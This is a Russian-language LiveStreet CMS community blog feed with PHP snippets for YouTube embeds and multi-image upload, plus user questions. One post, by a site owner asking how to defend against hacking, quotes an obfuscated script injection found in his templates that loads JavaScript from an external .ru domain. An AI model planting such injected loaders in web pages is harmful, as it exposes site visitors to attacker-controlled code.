+2.84
Рейтинг
8.47
Сила

Олег

youtu.be

Код обработки новых share-ссылок с youtube.com

/engine/modules/text/Text.class.php
public function VideoParser($sText) {
/**
 * youtu.be
 */
$sText = preg_replace(
        '/<video>http:\/\/(?:www\.|)youtu.be\/([a-zA-Z0-9_\-]+)(&.+)?<\/video>/Ui', 
        '<iframe width="560" height="315" src="http://www.youtube.com/embed/$1?rel=0" frameborder="0" allowfullscreen></iframe>', 
        $sText);

Как защитить сайт от взлома?

Всем привет!

Хочу поделиться некоторыми пережитым опытом и услышать мнения специалистов.

Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).

В компилированные файлы шаблона вставлялся код следующего вида
<script>;document.write('<'+'script src=http://fljjsh'+'dqkrqq.ru/'+Math.round(Math.random()*99999999)+'.js></'+'script'+'>');</script>


Читать дальше →

Мультизагрузка изображений

Простой (самый простой) способ реализовать мультизагрузку картинок.

В шаблоне правим window_load_img.tpl, делаем массив img_file[] и дописываем multiple
<input type="file" name="img_file[]" id="img_file" value="" class="input-text input-width-full" multiple />


И ActionAjax.class.php, вот функция EventUploadImage() целиком
	/**
	 * Загрузка изображения
	 *
	 */
	protected function EventUploadImage() {
		/**
		 * Т.к. используется обработка отправки формы, то устанавливаем тип ответа 'jsonIframe' (тот же JSON только обернутый в textarea)
		 * Это позволяет избежать ошибок в некоторых браузерах, например, Opera
		 */
		$this->Viewer_SetResponseAjax('jsonIframe',false);
		/**
		 * Пользователь авторизован?
		 */
		if (!$this->oUserCurrent) {
			$this->Message_AddErrorSingle($this->Lang_Get('need_authorization'),$this->Lang_Get('error'));
			return;
		}
		$sFile=null;
                
                
                if (isPost('img_url') && $_REQUEST['img_url']!='' && $_REQUEST['img_url']!='http://') {
                        /**
                         * Загрузка файла по URl
                         */
                        $sFile=$this->Topic_UploadTopicImageUrl($_REQUEST['img_url'],$this->oUserCurrent);
                        switch (true) {
                                case is_string($sFile):

                                        break;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_READ):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_read'),$this->Lang_Get('error'));
                                        return;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_SIZE):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_size'),$this->Lang_Get('error'));
                                        return;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_TYPE):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_type'),$this->Lang_Get('error'));
                                        return;

                                default:
                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error'),$this->Lang_Get('error'));
                                        return;
                        }

                        if ($sFile) {                        
                                $sText=$this->Image_BuildHTML($sFile, $_REQUEST);
                        }

                } else {

                        foreach ($_FILES['img_file'] as $k=>$v){
                           if(is_array($v)){
                               foreach ($v as $sk=>$sv){ 
                                        $arr[$sk][$k]=$sv;
                                }
                               }
                            }

                        $sText = "";

                        foreach ($arr as $_FILES['img_file']) {

                                /**
                                 * Был выбран файл с компьютера и он успешно зугрузился?
                                 */
                                if (is_uploaded_file($_FILES['img_file']['tmp_name'])) {

                                        if(!$sFile=$this->Topic_UploadTopicImageFile($_FILES['img_file'],$this->oUserCurrent)) {
                                                $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_file_error'),$this->Lang_Get('error'));
                                                return;
                                        }
                                        /**
                                         * Если файл успешно загружен, формируем HTML вставки и возвращаем в ajax ответе
                                         */
                                        if ($sFile) {
                                                $sText.=$this->Image_BuildHTML($sFile, $_REQUEST);
                                        }

                                }	

                        } //foreach

                }

		$this->Viewer_AssignAjax('sText',$sText);		
		
	}


такие дела

Как добавить вертикальную полосу прокрутки в окно ввода текста TinyMCE?

При написании большого текста поста/комментария окно ввода текста растягивается по вертикали вместо появления полосы прокрутки в нём, что было бы удобнее. Хотелось бы прокрутку всё же сделать

Поискал по блогу, нашёл вот эту ветку комментариев, обсуждается эта же проблема — livestreet.ru/blog/11372.html#comment174368. К сожалению, моих скромных знаний в CSS не хватает, чтобы проблему пофиксить. Буду признателен за помощь и подсказки

[Примочка] Вступаем / покидаем блог прямо в ленте топиков

Известно, что вступить в блог можно:
— со страницы топика (сайдбар)
— со страницы блога
— со страницы списка блогов

Захотелось, чтобы вступить в блог можно было прямо из ленты топиков — без лишних телодвижений.
Почему бы не добавить соответствующую кнопку в infobox?:
Читать дальше →

Как убрать страницу "Приходите к нам Еще"

Как убрать страницу «Приходите к нам Еще» после нажатия в юзербаре — выход.
Выход должен произойти на главную странице без перехода в экшн actions/ActionLogin/exit.tpl

Плагин "CSRF Blocker (Антиспам)"


Всем привет!

Хочу представить Вам свой второй плагин «Антиспам». У меня на livestreet есть пару сайтов и постоянный спам заставил написать это плагин. В настоящий момент плагин имеет уже вторую версию и в нем были исправлены некоторые недочеты. Цену на плагин назначил чисто символическую (100 рублей). Основными мотивами создания платного плагина стали желание понять на сколько этот плагин востребован и чтобы при необходимости можно было отвлечься от повседневной работы и улучшить его.

Плагин можно приобрести в каталоге.

Оптимизация шаблонов

Пролог


Наброски по данной статье лежали ещё с конца зимы и все никак не было времени на её написание, поэтому решил опубликовать её почти «как есть» т.е. с сухими выжимками фактов, без расписанных деталей. Это поможет остальным членам сообщества совершенствовать свои шаблоны.

Читать дальше →

Как позволить незарегистрированному посетителю оставлять комментарии? (ВОПРОС РЕШЁН)

Как позволить незарегистрированному посетителю оставлять комментарии и выводить их после модерации? Т.е. хочется чтобы случайно зашедший мог оставить комментарий, но он должен попадать сначала модератору или админу…

Поискал плагины, но кроме оупен айди и регистрации через соц.сети ничего не нашёл…